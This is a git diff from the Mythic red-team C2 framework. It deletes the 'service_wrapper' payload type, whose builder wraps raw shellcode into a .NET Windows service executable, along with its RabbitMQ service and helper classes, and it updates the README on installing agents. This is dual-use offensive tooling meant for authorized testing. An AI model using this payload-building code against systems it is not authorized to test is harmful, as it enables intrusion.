- :param filename: String value of the name of the resulting payload
- :param tag: Description for the payload for the active callbacks page
- :param commands: List of string names for the commands that should be included
- :param build_parameters: List of build parameter dictionaries of the form:
- {
- "name": "version", "value": 4.0
- }
- :param destination_host: String name of the host where the payload will go
- :param wrapped_payload: If payload_type is a wrapper, wrapped payload UUID
- :return:
- """
- resp = await self.call(
- {
- "action": "build_payload_from_parameters",
- "task_id": self.task_id,
- "payload_type": payload_type,
- "c2_profiles": c2_profiles,
- "filename": filename,
- "tag": tag,
- "commands": commands,
- "build_parameters": build_parameters,
- "destination_host": destination_host,
- "wrapped_payload": wrapped_payload
- }
- )
- return MythicPayloadRPCResponse(resp)
-
- async def build_payload_from_MythicPayloadRPCResponse(self,
- resp: MythicPayloadRPCResponse,
- destination_host: str = None) -> MythicPayloadRPCResponse:
- c2_list = []
- for c2 in resp.c2info:
- c2_list.append({
- "c2_profile": c2["name"],
- "c2_profile_parameters": c2["parameters"]
- })
- resp = await self.call(
- {
- "action": "build_payload_from_parameters",
- "task_id": self.task_id,
- "payload_type": resp.payload_type,
- "c2_profiles": c2_list,
- "filename": resp.filename,
- "tag": resp.tag,
- "commands": resp.commands,
- "build_parameters": resp.build_parameters,
- "destination_host": destination_host,
- "wrapped_payload": resp.wrapped_payload
- }
- )
- return MythicPayloadRPCResponse(resp)
-
- async def register_payload_on_host(self,
- uuid: str,
- host: str):
- """
- Register a payload on a host for linking purposes
- :param uuid:
- :param host:
- :return:
- """
- resp = await self.call(
- {
- "action": "register_payload_on_host",
- "task_id": self.task_id,
- "uuid": uuid,
- "host": host
- }
- )
- return MythicPayloadRPCResponse(resp)
diff --git a/Payload_Types/service_wrapper/mythic/MythicResponseRPC.py b/Payload_Types/service_wrapper/mythic/MythicResponseRPC.py
deleted file mode 100644
index 8ae588a96..000000000
--- a/Payload_Types/service_wrapper/mythic/MythicResponseRPC.py
+++ /dev/null
@@ -1,43 +0,0 @@
-from MythicBaseRPC import *
-import base64
-
-
-class MythicResponseRPCResponse(RPCResponse):
- def __init__(self, resp: RPCResponse):
- super().__init__(resp._raw_resp)
-
-
-class MythicResponseRPC(MythicBaseRPC):
- async def user_output(self, user_output: str) -> MythicResponseRPCResponse:
- resp = await self.call(
- {
- "action": "user_output",
- "user_output": user_output,
- "task_id": self.task_id,
- }
- )
- return MythicResponseRPCResponse(resp)
-
- async def update_callback(self, callback_info: dict) -> MythicResponseRPCResponse:
- resp = await self.call(
- {
- "action": "update_callback",
- "callback_info": callback_info,
- "task_id": self.task_id,
- }
- )
- return MythicResponseRPCResponse(resp)
-
- async def register_artifact(
- self, artifact_instance: str, artifact_type: str, host: str = None
- ) -> MythicResponseRPCResponse:
- resp = await self.call(
- {
- "action": "register_artifact",
- "task_id": self.task_id,
- "host": host,
- "artifact_instance": artifact_instance,
- "artifact": artifact_type,
- }
- )
- return MythicResponseRPCResponse(resp)
diff --git a/Payload_Types/service_wrapper/mythic/MythicSocksRPC.py b/Payload_Types/service_wrapper/mythic/MythicSocksRPC.py
deleted file mode 100644
index 3a1b63df6..000000000
--- a/Payload_Types/service_wrapper/mythic/MythicSocksRPC.py
+++ /dev/null
@@ -1,29 +0,0 @@
-from MythicBaseRPC import *
-
-
-class MythicSocksRPCResponse(RPCResponse):
- def __init__(self, socks: RPCResponse):
- super().__init__(socks._raw_resp)
-
-
-class MythicSocksRPC(MythicBaseRPC):
- async def start_socks(self, port: int) -> MythicSocksRPCResponse:
- resp = await self.call(
- {
- "action": "control_socks",
- "task_id": self.task_id,
- "start": True,
- "port": port,
- }
- )
- return MythicSocksRPCResponse(resp)
-
- async def stop_socks(self) -> MythicSocksRPCResponse:
- resp = await self.call(
- {
- "action": "control_socks",
- "stop": True,
- "task_id": self.task_id,
- }
- )
- return MythicSocksRPCResponse(resp)
diff --git a/Payload_Types/service_wrapper/mythic/PayloadBuilder.py b/Payload_Types/service_wrapper/mythic/PayloadBuilder.py
deleted file mode 100644
index 6333bdbff..000000000
--- a/Payload_Types/service_wrapper/mythic/PayloadBuilder.py
+++ /dev/null
@@ -1,302 +0,0 @@
-from enum import Enum
-from abc import abstractmethod
-from pathlib import Path
-import base64
-from CommandBase import *
-
-
-class BuildStatus(Enum):
- Success = "success"
- Error = "error"
-
-
-class SupportedOS(Enum):
- Windows = "Windows"
- MacOS = "macOS"
- Linux = "Linux"
- WebShell = "WebShell"
- Chrome = "Chrome"
-
-
-class BuildParameterType(Enum):
- String = "String"
- ChooseOne = "ChooseOne"
-
-
-class BuildParameter:
- def __init__(
- self,
- name: str,
- parameter_type: BuildParameterType = None,
- description: str = None,
- required: bool = None,
- verifier_regex: str = None,
- default_value: str = None,
- choices: [str] = None,
- value: any = None,
- verifier_func: callable = None,
- ):
- self.name = name
- self.verifier_func = verifier_func
- self.parameter_type = (
- parameter_type if parameter_type is not None else ParameterType.String
- )
- self.description = description if description is not None else ""
- self.required = required if required is not None else True
- self.verifier_regex = verifier_regex if verifier_regex is not None else ""
- self.default_value = default_value
- if value is None:
- self.value = default_value
- else:
- self.value = value
- self.choices = choices
-
- @property
- def name(self):
- return self._name
-
- @name.setter
- def name(self, name):
- self._name = name
-
- @property
- def parameter_type(self):
- return self._parameter_type
-
- @parameter_type.setter
- def parameter_type(self, parameter_type):
- self._parameter_type = parameter_type
-
- @property
- def description(self):
- return self._description
-
- @description.setter
- def description(self, description):
- self._description = description
-
- @property
- def required(self):
- return self._required
-
- @required.setter
- def required(self, required):
- self._required = required
-
- @property
- def verifier_regex(self):
- return self._verifier_regex
-
- @verifier_regex.setter
- def verifier_regex(self, verifier_regex):
- self._verifier_regex = verifier_regex
-
- @property
- def default_value(self):
- return self._default_value
-
- @default_value.setter
- def default_value(self, default_value):
- self._default_value = default_value
-
- @property
- def value(self):
- return self._value
-
- @value.setter
- def value(self, value):
- if value is None:
- self._value = value
- else:
- if self.verifier_func is not None:
- self.verifier_func(value)
- self._value = value
- else:
- self._value = value
-
- def to_json(self):
- return {
- "name": self._name,
- "parameter_type": self._parameter_type.value,
- "description": self._description,
- "required": self._required,
- "verifier_regex": self._verifier_regex,
- "parameter": self._default_value
- if self._parameter_type == BuildParameterType.String
- else "\n".join(self.choices),
- }
-
-
-class C2ProfileParameters:
- def __init__(self, c2profile: dict, parameters: dict = None):
- self.parameters = {}
- self.c2profile = c2profile
- if parameters is not None:
- self.parameters = parameters
-
- def get_parameters_dict(self):
- return self.parameters
-
- def get_c2profile(self):
- return self.c2profile
-
-
-class CommandList:
- def __init__(self, commands: [str] = None):
- self.commands = []
- if commands is not None:
- self.commands = commands
-
- def get_commands(self) -> [str]:
- return self.commands
-
- def remove_command(self, command: str):
- self.commands.remove(command)
-
- def add_command(self, command: str):
- for c in self.commands:
- if c == command:
- return
- self.commands.append(command)
-
- def clear(self):
- self.commands = []
-
-
-class BuildResponse:
- def __init__(self, status: BuildStatus, payload: bytes = None, message: str = None):
- self.status = status
- self.payload = payload if payload is not None else b""
- self.message = message if message is not None else ""
-
- def get_status(self) -> BuildStatus:
- return self.status
-
- def set_status(self, status: BuildStatus):
- self.status = status
-
- def get_payload(self) -> bytes:
- return self.payload
-
- def set_payload(self, payload: bytes):
- self.payload = payload
-
- def set_message(self, message: str):
- self.message = message
-
- def get_message(self) -> str:
- return self.message
-
-
-class PayloadType:
-
- support_browser_scripts = []
-
- def __init__(
- self,
- uuid: str = None,
- agent_code_path: Path = None,
- c2info: [C2ProfileParameters] = None,
- commands: CommandList = None,
- wrapped_payload: str = None,
- ):
- self.commands = commands
- self.base_path = agent_code_path
- self.agent_code_path = agent_code_path / "agent_code"
- self.c2info = c2info
- self.uuid = uuid
- self.wrapped_payload = wrapped_payload
-
- @property
- @abstractmethod
- def name(self):
- pass
-
- @property
- @abstractmethod
- def file_extension(self):
- pass
-
- @property
- @abstractmethod
- def author(self):
- pass
-
- @property
- @abstractmethod
- def supported_os(self):
- pass
-
- @property
- @abstractmethod
- def wrapper(self):
- pass
-
- @property
- @abstractmethod
- def wrapped_payloads(self):
- pass
-
- @property
- @abstractmethod
- def note(self):
- pass
-
- @property
- @abstractmethod
- def supports_dynamic_loading(self):
- pass
-
- @property
- @abstractmethod
- def c2_profiles(self):
- pass
-
- @property
- @abstractmethod
- def build_parameters(self):
- pass
-
- @abstractmethod
- async def build(self) -> BuildResponse:
- pass
-
- def get_parameter(self, key):
- if key in self.build_parameters:
- return self.build_parameters[key].value
- else:
- return None
-
- async def set_and_validate_build_parameters(self, buildinfo: dict):
- # set values for all of the key-value pairs presented to us
- for key, bp in self.build_parameters.items():
- if key in buildinfo and buildinfo[key] is not None:
- bp.value = buildinfo[key]
- if bp.required and bp.value is None:
- raise ValueError(
- "{} is a required parameter but has no value".format(key)
- )
-
- def get_build_instance_values(self):
- values = {}
- for key, bp in self.build_parameters.items():
- if bp.value is not None:
- values[key] = bp.value
- return values
-
- def to_json(self):
- return {
- "ptype": self.name,
- "file_extension": self.file_extension,
- "author": self.author,
- "supported_os": ",".join([x.value for x in self.supported_os]),
- "wrapper": self.wrapper,
- "wrapped": self.wrapped_payloads,
- "supports_dynamic_loading": self.supports_dynamic_loading,
- "note": self.note,
- "build_parameters": [b.to_json() for k, b in self.build_parameters.items()],
- "c2_profiles": self.c2_profiles,
- "support_scripts": [
- a.to_json(self.base_path) for a in self.support_browser_scripts
- ],
- }
diff --git a/Payload_Types/service_wrapper/mythic/agent_functions/__init__.py b/Payload_Types/service_wrapper/mythic/agent_functions/__init__.py
deleted file mode 100644
index 73103e391..000000000
--- a/Payload_Types/service_wrapper/mythic/agent_functions/__init__.py
+++ /dev/null
@@ -1,6 +0,0 @@
-import glob
-from os.path import basename
-
-# Get file paths of all modules.
-modules = glob.glob("agent_functions/*.py")
-__all__ = [basename(x)[:-3] for x in modules if x != "__init__.py"]
diff --git a/Payload_Types/service_wrapper/mythic/agent_functions/builder.py b/Payload_Types/service_wrapper/mythic/agent_functions/builder.py
deleted file mode 100644
index 44c724a91..000000000
--- a/Payload_Types/service_wrapper/mythic/agent_functions/builder.py
+++ /dev/null
@@ -1,93 +0,0 @@
-from PayloadBuilder import *
-import asyncio
-import os
-import tempfile
-from distutils.dir_util import copy_tree
-import traceback
-from pathlib import PurePath
-import base64
-
-
-class ServiceWrapper(PayloadType):
-
- name = "service_wrapper"
- file_extension = "exe"
- author = "@its_a_feature_"
- supported_os = [SupportedOS.Windows]
- wrapper = True
- wrapped_payloads = []
- note = "This is a wrapper payload that takes in Raw shellcode and generates a .NET Service binary. The service does not perform any injection."
- supports_dynamic_loading = False
- build_parameters = {
- "version": BuildParameter(
- name="version",
- parameter_type=BuildParameterType.ChooseOne,
- description="Choose a target .NET Framework",
- choices=["3.5", "4.0"],
- ),
- "arch": BuildParameter(
- name="arch",
- parameter_type=BuildParameterType.ChooseOne,
- choices=["x64", "Any CPU"],
- default_value="x64",
- description="Target architecture",
- )
- }
- c2_profiles = []
-
- async def build(self) -> BuildResponse:
- # this function gets called to create an instance of your payload
- resp = BuildResponse(status=BuildStatus.Error)
- output = ""
- try:
- command = "nuget restore; msbuild"
- command += " -p:TargetFrameworkVersion=v{} -p:OutputType=WinExe -p:Configuration='{}' -p:Platform='{}'".format(
- "3.5" if self.get_parameter("version") == "3.5" else "4.0",
- "Release",
- "x64" if self.get_parameter("arch") == "x64" else "Any CPU",
- )
- agent_build_path = tempfile.TemporaryDirectory(suffix=self.uuid).name
- # shutil to copy payload files over
- copy_tree(self.agent_code_path, agent_build_path)
- working_path = (
- PurePath(agent_build_path)
- / "WindowsService1"
- / "Resources"
- / "loader.bin"
- )
- with open(str(working_path), "wb") as f:
- f.write(base64.b64decode(self.wrapped_payload))
- with open(str(working_path), "rb") as f:
- header = f.read(2)
- if header == b"\x4d\x5a": # checking for MZ header of PE files
- resp.message = "Supplied payload is a PE instead of raw shellcode."
- return resp
- proc = await asyncio.create_subprocess_shell(
- command,
- stdout=asyncio.subprocess.PIPE,
- stderr=asyncio.subprocess.PIPE,
- cwd=agent_build_path,
- )
- stdout, stderr = await proc.communicate()
- if stdout:
- output += f"[stdout]\n{stdout.decode()}"
- if stderr:
- output += f"[stderr]\n{stderr.decode()}"
- output_path = (
- PurePath(agent_build_path)
- / "WindowsService1"
- / "bin"
- / "Release"
- / "WindowsService1.exe"
- )
- output_path = str(output_path)
- if os.path.exists(output_path):
- resp.payload = open(output_path, "rb").read()
- resp.status = BuildStatus.Success
- resp.message = "New Service Executable created!"
- else:
- resp.payload = b""
- resp.message = output + "\n" + output_path
- except Exception as e:
- raise Exception(str(e) + "\n" + output)
- return resp
diff --git a/Payload_Types/service_wrapper/mythic/browser_scripts/create_table.js b/Payload_Types/service_wrapper/mythic/browser_scripts/create_table.js
deleted file mode 100644
index de8d5ab49..000000000
--- a/Payload_Types/service_wrapper/mythic/browser_scripts/create_table.js
+++ /dev/null
@@ -1,22 +0,0 @@
-function(headers, data){
- let output = "";
- output += "";
- for(let i = 0; i < headers.length; i++){
- output += "" + headers[i]['name'].toUpperCase() + " ";
- }
- output += " ";
- for(let i = 0; i < data.length; i++){
- output += "";
- for(let j = 0; j < headers.length; j++){
- if(data[i]['cell-style'].hasOwnProperty(headers[j])){
- output += "" + data[i][headers[j]['name']] + " ";
- }
- else{
- output += "" + data[i][headers[j]['name']] + " ";
- }
- }
- output += " ";
- }
- output += "
";
- return output;
-}
\ No newline at end of file
diff --git a/Payload_Types/service_wrapper/mythic/generate_docs_from_container.py b/Payload_Types/service_wrapper/mythic/generate_docs_from_container.py
deleted file mode 100644
index 625847cc1..000000000
--- a/Payload_Types/service_wrapper/mythic/generate_docs_from_container.py
+++ /dev/null
@@ -1,197 +0,0 @@
-#! /usr/env python3
-
-import sys
-import pathlib
-from importlib import import_module
-from CommandBase import *
-from PayloadBuilder import *
-
-
-def import_all_agent_functions():
- import glob
-
- # Get file paths of all modules.
- modules = glob.glob("agent_functions/*.py")
- for x in modules:
- if not x.endswith("__init__.py") and x[-3:] == ".py":
- module = import_module("agent_functions." + pathlib.Path(x).stem)
- for el in dir(module):
- if "__" not in el:
- globals()[el] = getattr(module, el)
-
-
-root = pathlib.Path(".")
-import_all_agent_functions()
-commands = []
-payload_type = {}
-for cls in PayloadType.__subclasses__():
- payload_type = cls(agent_code_path=root).to_json()
- break
-for cls in CommandBase.__subclasses__():
- commands.append(cls(root).to_json())
-payload_type["commands"] = commands
-
-# now generate the docs
-root_home = root / payload_type["ptype"]
-if not root_home.exists():
- root_home.mkdir()
-if not (root_home / "c2_profiles").exists():
- (root_home / "c2_profiles").mkdir()
-if not (root_home / "commands").exists():
- (root_home / "commands").mkdir()
-# now to generate files
-with open(root_home / "_index.md", "w") as f:
- f.write(
- f"""+++
-title = "{payload_type['ptype']}"
-chapter = false
-weight = 5
-+++
-
-## Summary
-
-Overview
-
-### Highlighted Agent Features
-list of info here
-
-## Authors
-list of authors
-
-### Special Thanks to These Contributors
-list of contributors
-"""
- )
-with open(root_home / "c2_profiles" / "_index.md", "w") as f:
- f.write(
- f"""+++
-title = "C2 Profiles"
-chapter = true
-weight = 25
-pre = "4. "
-+++
-
-# Supported C2 Profiles
-
-This section goes into any `{payload_type['ptype']}` specifics for the supported C2 profiles.
-"""
- )
-with open(root_home / "development.md", "w") as f:
- f.write(
- f"""+++
-title = "Development"
-chapter = false
-weight = 20
-pre = "3. "
-+++
-
-## Development Environment
-
-Info for ideal dev environment or requirements to set up environment here
-
-## Adding Commands
-
-Info for how to add commands
-- Where code for commands is located
-- Any classes to call out
-
-## Adding C2 Profiles
-
-Info for how to add c2 profiles
-- Where code for editing/adding c2 profiles is located
-"""
- )
-with open(root_home / "opsec.md", "w") as f:
- f.write(
- f"""+++
-title = "OPSEC"
-chapter = false
-weight = 10
-pre = "1. "
-+++
-
-## Considerations
-Info here
-
-### Post-Exploitation Jobs
-Info here
-
-### Remote Process Injection
-Info here
-
-### Process Execution
-Info here"""
- )
-with open(root_home / "commands" / "_index.md", "w") as f:
- f.write(
- f"""+++
-title = "Commands"
-chapter = true
-weight = 15
-pre = "2. "
-+++
-
-# {payload_type['ptype']} Command Reference
-These pages provide in-depth documentation and code samples for the `{payload_type['ptype']}` commands.
-"""
- )
-payload_type["commands"] = sorted(payload_type["commands"], key=lambda i: i["cmd"])
-for i in range(len(payload_type["commands"])):
- c = payload_type["commands"][i]
- cmd_file = c["cmd"] + ".md"
- with open(root_home / "commands" / cmd_file, "w") as f:
- f.write(
- f"""+++
-title = "{c['cmd']}"
-chapter = false
-weight = 100
-hidden = false
-+++
-
-## Summary
-
-{c['description']}
-- Needs Admin: {c['needs_admin']}
-- Version: {c['version']}
-- Author: {c['author']}
-
-### Arguments
-
-"""
- )
- for a in c["parameters"]:
- f.write(
- f"""#### {a['name']}
-
-- Description: {a['description']}
-- Required Value: {a['required']}
-- Default Value: {a['default_value']}
-
-"""
- )
- f.write(
- f"""## Usage
-
-```
-{c['help_cmd']}
-```
-
-"""
- )
- if len(c["attack"]) > 0:
- f.write(
- f"""## MITRE ATT&CK Mapping
-"""
- )
- for a in c["attack"]:
- f.write(
- f"""
-- {a['t_num']} """
- )
-
- f.write(
- f"""
-## Detailed Summary
-
-"""
- )
diff --git a/Payload_Types/service_wrapper/mythic/mythic_service.py b/Payload_Types/service_wrapper/mythic/mythic_service.py
deleted file mode 100755
index 8c4ee8460..000000000
--- a/Payload_Types/service_wrapper/mythic/mythic_service.py
+++ /dev/null
@@ -1,308 +0,0 @@
-#!/usr/bin/env python3
-import aio_pika
-import os
-import sys
-import traceback
-import base64
-import json
-import asyncio
-import socket
-from CommandBase import *
-from PayloadBuilder import *
-from pathlib import Path
-from importlib import import_module, invalidate_caches
-
-# set the global hostname variable
-hostname = ""
-output = ""
-exchange = None
-container_files_path = ""
-
-
-def import_all_agent_functions():
- import glob
-
- # Get file paths of all modules.
- modules = glob.glob("agent_functions/*.py")
- invalidate_caches()
- for x in modules:
- if not x.endswith("__init__.py") and x[-3:] == ".py":
- module = import_module("agent_functions." + Path(x).stem)
- for el in dir(module):
- if "__" not in el:
- globals()[el] = getattr(module, el)
-
-
-async def send_status(message="", command="", status="", username=""):
- global exchange
- # status is success or error
- try:
- message_body = aio_pika.Message(message.encode())
- # Sending the message
- await exchange.publish(
- message_body,
- routing_key="pt.status.{}.{}.{}.{}".format(
- hostname, command, status, username
- ),
- )
- except Exception as e:
- print("Exception in send_status: {}".format(str(e)))
-
-
-async def callback(message: aio_pika.IncomingMessage):
- global hostname
- global container_files_path
- with message.process():
- # messages of the form: pt.task.PAYLOAD_TYPE.command
- pieces = message.routing_key.split(".")
- command = pieces[3]
- username = pieces[4]
- if command == "create_payload_with_code":
- try:
- # pt.task.PAYLOAD_TYPE.create_payload_with_code.UUID
- message_json = json.loads(
- base64.b64decode(message.body).decode("utf-8"), strict=False
- )
- # go through all the data from rabbitmq to make the proper classes
- c2info_list = []
- for c2 in message_json["c2_profile_parameters"]:
- params = c2.pop("parameters", None)
- c2info_list.append(
- C2ProfileParameters(parameters=params, c2profile=c2)
- )
- commands = CommandList(message_json["commands"])
- for cls in PayloadType.__subclasses__():
- agent_builder = cls(
- uuid=message_json["uuid"],
- agent_code_path=Path(container_files_path),
- c2info=c2info_list,
- commands=commands,
- wrapped_payload=message_json["wrapped_payload"],
- )
- try:
- await agent_builder.set_and_validate_build_parameters(
- message_json["build_parameters"]
- )
- build_resp = await agent_builder.build()
- except Exception as b:
- resp_message = {
- "status": "error",
- "message": "Error in agent creation: "
- + str(traceback.format_exc()),
- "payload": "",
- }
- await send_status(
- json.dumps(resp_message),
- "create_payload_with_code",
- "{}".format(username),
- )
- return
- # we want to capture the build message as build_resp.get_message()
- # we also want to capture the final values the agent used for creating the payload, so collect them
- build_instances = agent_builder.get_build_instance_values()
- resp_message = {
- "status": build_resp.get_status().value,
- "message": build_resp.get_message(),
- "build_parameter_instances": build_instances,
- "payload": base64.b64encode(build_resp.get_payload()).decode(
- "utf-8"
- ),
- }
- await send_status(
- json.dumps(resp_message),
- "create_payload_with_code",
- "{}".format(username),
- )
-
- except Exception as e:
- resp_message = {
- "status": "error",
- "message": str(traceback.format_exc()),
- "payload": "",
- }
- await send_status(
- json.dumps(resp_message),
- "create_payload_with_code",
- "{}".format(username),
- )
- elif command == "command_transform":
- try:
- # pt.task.PAYLOAD_TYPE.command_transform.taskID
-
- message_json = json.loads(
- base64.b64decode(message.body).decode("utf-8"), strict=False
- )
- final_task = None
- for cls in CommandBase.__subclasses__():
- if getattr(cls, "cmd") == message_json["command"]:
- Command = cls(Path(container_files_path))
- task = MythicTask(
- message_json["task"],
- args=Command.argument_class(message_json["params"]),
- )
- await task.args.parse_arguments()
- await task.args.verify_required_args_have_values()
- final_task = await Command.create_tasking(task)
- await send_status(
- str(final_task),
- "command_transform",
- "{}.{}".format(final_task.status.value, pieces[4]),
- username,
- )
- break
- if final_task is None:
- await send_status(
- "Failed to find class where command_name = "
- + message_json["command"],
- "command_transform",
- "error.{}".format(pieces[4]),
- username,
- )
- except Exception as e:
- await send_status(
- "[-] Mythic error while creating/running create_tasking: \n"
- + str(e),
- "command_transform",
- "error.{}".format(pieces[4]),
- username,
- )
- return
- elif command == "sync_classes":
- try:
- commands = {}
- payload_type = {}
- import_all_agent_functions()
- for cls in PayloadType.__subclasses__():
- payload_type = cls(
- agent_code_path=Path(container_files_path)
- ).to_json()
- break
- for cls in CommandBase.__subclasses__():
- commands[cls.cmd] = cls(Path(container_files_path)).to_json()
- payload_type["commands"] = commands
- await send_status(
- json.dumps(payload_type), "sync_classes", "success", username
- )
- except Exception as e:
- await send_status(
- "Error while syncing info: " + str(traceback.format_exc()),
- "sync_classes",
- "error.{}".format(pieces[4]),
- username,
- )
- else:
- print("Unknown command: {}".format(command))
-
-
-async def sync_classes():
- try:
- commands = {}
- payload_type = {}
- import_all_agent_functions()
- for cls in PayloadType.__subclasses__():
- payload_type = cls(agent_code_path=Path(container_files_path)).to_json()
- break
- for cls in CommandBase.__subclasses__():
- commands[cls.cmd] = cls(Path(container_files_path)).to_json()
- payload_type["commands"] = commands
- await send_status(json.dumps(payload_type), "sync_classes", "success", "")
- except Exception as e:
- await send_status(
- "Error while syncing info: " + str(traceback.format_exc()),
- "sync_classes",
- "error",
- "",
- )
- sys.exit(1)
-
-
-async def heartbeat():
- config_file = open("rabbitmq_config.json", "rb")
- main_config = json.loads(config_file.read().decode("utf-8"))
- config_file.close()
- if main_config["name"] == "hostname":
- hostname = socket.gethostname()
- else:
- hostname = main_config["name"]
- while True:
- try:
- connection = await aio_pika.connect_robust(
- host=main_config["host"],
- login=main_config["username"],
- password=main_config["password"],
- virtualhost=main_config["virtual_host"],
- )
- channel = await connection.channel()
- # declare our heartbeat exchange that everybody will publish to, but only the mythic server will are about
- exchange = await channel.declare_exchange(
- "mythic_traffic", aio_pika.ExchangeType.TOPIC
- )
- except Exception as e:
- print(str(e))
- await asyncio.sleep(2)
- continue
- while True:
- try:
- # routing key is ignored for fanout, it'll go to anybody that's listening, which will only be the server
- await exchange.publish(
- aio_pika.Message("heartbeat".encode()),
- routing_key="pt.heartbeat.{}".format(hostname),
- )
- await asyncio.sleep(10)
- except Exception as e:
- print(str(e))
- # if we get an exception here, break out to the bigger loop and try to connect again
- break
-
-
-async def mythic_service():
- global hostname
- global exchange
- global container_files_path
- connection = None
- config_file = open("rabbitmq_config.json", "rb")
- main_config = json.loads(config_file.read().decode("utf-8"))
- config_file.close()
- if main_config["name"] == "hostname":
- hostname = socket.gethostname()
- else:
- hostname = main_config["name"]
- container_files_path = os.path.abspath(main_config["container_files_path"])
- if not os.path.exists(container_files_path):
- os.makedirs(container_files_path)
- while connection is None:
- try:
- connection = await aio_pika.connect_robust(
- host=main_config["host"],
- login=main_config["username"],
- password=main_config["password"],
- virtualhost=main_config["virtual_host"],
- )
- except Exception as e:
- await asyncio.sleep(1)
- try:
- channel = await connection.channel()
- # declare our exchange
- exchange = await channel.declare_exchange(
- "mythic_traffic", aio_pika.ExchangeType.TOPIC
- )
- # get a random queue that only the mythic server will use to listen on to catch all heartbeats
- queue = await channel.declare_queue("", exclusive=True)
- # bind the queue to the exchange so we can actually catch messages
- await queue.bind(
- exchange="mythic_traffic", routing_key="pt.task.{}.#".format(hostname)
- )
- # just want to handle one message at a time so we can clean up and be ready
- await channel.set_qos(prefetch_count=100)
- print(" [*] Waiting for messages in mythic_service.")
- task = queue.consume(callback)
- await sync_classes()
- result = await asyncio.wait_for(task, None)
- except Exception as e:
- print(str(e))
-
-
-# start our service
-loop = asyncio.get_event_loop()
-asyncio.gather(heartbeat(), mythic_service())
-loop.run_forever()
diff --git a/Payload_Types/service_wrapper/mythic/payload_service.sh b/Payload_Types/service_wrapper/mythic/payload_service.sh
deleted file mode 100755
index 00627848a..000000000
--- a/Payload_Types/service_wrapper/mythic/payload_service.sh
+++ /dev/null
@@ -1,7 +0,0 @@
-#!/bin/bash
-
-cd /Mythic/mythic
-
-export PYTHONPATH=/Mythic:/Mythic/mythic
-
-python3.8 mythic_service.py
diff --git a/Payload_Types/service_wrapper/mythic/rabbitmq_config.json b/Payload_Types/service_wrapper/mythic/rabbitmq_config.json
deleted file mode 100755
index 08581c01a..000000000
--- a/Payload_Types/service_wrapper/mythic/rabbitmq_config.json
+++ /dev/null
@@ -1,8 +0,0 @@
-{
- "username": "mythic_user",
- "password": "mythic_password",
- "virtual_host": "mythic_vhost",
- "host": "127.0.0.1",
- "name": "hostname",
- "container_files_path": "/Mythic/"
-}
\ No newline at end of file
diff --git a/README.md b/README.md
index 4c69cdd8f..dda7862b6 100755
--- a/README.md
+++ b/README.md
@@ -9,7 +9,47 @@ A cross-platform, post-exploit, red teaming framework built with python3, docker
* Objective By the Sea 2019 talk on JXA: https://objectivebythesea.com/v2/talks/OBTS_v2_Thomas.pdf
* Objective By the sea 2019 Video: https://www.youtube.com/watch?v=E-QEsGsq3uI&list=PLliknDIoYszvTDaWyTh6SYiTccmwOsws8&index=17
-* Current Version: 2.1.18
+* Current Version: 2.2.7
+
+## Installing Agents and C2 Profiles
+
+The Mythic repository itself does not host any Payload Types or any C2 Profiles. Instead, Mythic provides a command, `./mythic-cli install github [branch name] [-f]`, that can be used to install agents into a current Mythic instance.
+
+Payload Types are hosted on the [MythicAgents](https://github.com/MythicAgents) organization and C2 Profiles are hosted on the [MythiC2Profiles](https://github.com/MythicC2Profiles) organization.
+
+To install an agent, simply run the script and provide an argument of the path to the agent on GitHub:
+```bash
+sudo ./mythic-cli install github https://github.com/MythicAgents/apfell
+```
+
+The same is true for isntalling C2 Profiles:
+```bash
+sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http
+```
+
+This is a slight departure from previous Mythic versions which included a few default Payload Types and C2 Profiles within this repository. This change allows the agents and c2 profiles to be updated at a much more regular pace and finally separates out the Mythic Core components from the rest of Mythic.
+
+## Mythic Container Configurations & PyPi Packages
+
+Mythic uses Docker and Docker-compose for all of its components, which allows Mythic to provide a wide range of components and features without having requirements exist on the host. However, it can be helpful to have insight into how the containers are configured. All of Mythic's docker containers are hosted on DockerHub under [itsafeaturemythic](https://hub.docker.com/search?q=itsafeaturemythic&type=image).
+
+Additionally, Mythic uses a number of custom PyPi packages to help control and sync information between all of the containers as well as providing an easy way to script access to the server.
+
+All of this can be found on the [MythicMeta](https://github.com/MythicMeta):
+* Dockerfile configurations for all Docker images uploaded to DockerHub
+* PyPi source code for all packages uploaded to PyPi
+* Scripting source code
+
+## Current Container PyPi Package requirements
+
+Supported payload types must have the `mythic_payloadtype_container` PyPi package of 0.0.43.
+* The Payload Type container reports this as version 7.
+
+Supported c2 profiles must have the `mythic_c2_container` PyPi package of 0.0.22.
+* The C2 Profile container reports this as version 3.
+
+Supported translation containers must have the `mythic_translator_containter` PyPi package of 0.0.10.
+* The Translator container reports this as version 3.
## Documentation
diff --git a/display_output.sh b/display_output.sh
deleted file mode 100755
index 54efb3430..000000000
--- a/display_output.sh
+++ /dev/null
@@ -1,53 +0,0 @@
-#!/bin/bash
-
-if [ $# -ne 0 ]
-then
- containers=( "$@" )
- for p in "${containers[@]}"
- do
- docker logs --tail=500 "$p"
- read -n 1 -p "Press key to move to next container or q to quit" character
- if [ "$character" == "q" ]
- then
- exit 0
- fi
- done
-else
- echo "Clearing display_output.txt"
- echo -n "" > display_output.txt
- echo "Writing out mythic_rabbitmq to display_output.txt"
- output=`docker logs --tail=500 mythic_rabbitmq >> display_output.txt 2>/dev/null`
- echo "Writing out mythic_postgres to display_output.txt"
- output=`docker logs --tail=500 mythic_postgres >> display_output.txt 2>/dev/null`
- echo "Writing out mythic_server to display_output.txt"
- output=`docker logs --tail=500 mythic_server >> display_output.txt 2>/dev/null`
- profiles=(./C2_Profiles/*)
- for p in "${profiles[@]}"
- do
- realpath=$(realpath "$p")
- p=$(echo "${p/.\/C2_Profiles\//}")
- tag=$(echo "$p" | tr '[:upper:]' '[:lower:]')
- tag=$(echo "${tag/' '/}")
- tag=$(echo "${tag/'_'/}")
- if [ -d "$realpath" ]
- then
- echo "Writing out $tag to display_output.txt"
- output=`docker logs --tail=500 "$tag" >> display_output.txt 2>/dev/null`
- fi
- done
- profiles=(./Payload_Types/*)
- for p in "${profiles[@]}"
- do
- realpath=$(realpath "$p")
- p=$(echo "${p/.\/Payload_Types\//}")
- tag=$(echo "$p" | tr '[:upper:]' '[:lower:]')
- tag=$(echo "${tag/' '/}")
- tag=$(echo "${tag/'_'/}")
- if [ -d "$realpath" ]
- then
- echo "Writing out $tag to display_output.txt"
- output=`docker logs --tail=500 "$tag" >> display_output.txt 2>/dev/null`
- fi
- done
-fi
-
diff --git a/docker-compose.yml b/docker-compose.yml
index d305e45a2..b494cf728 100755
--- a/docker-compose.yml
+++ b/docker-compose.yml
@@ -1,39 +1,186 @@
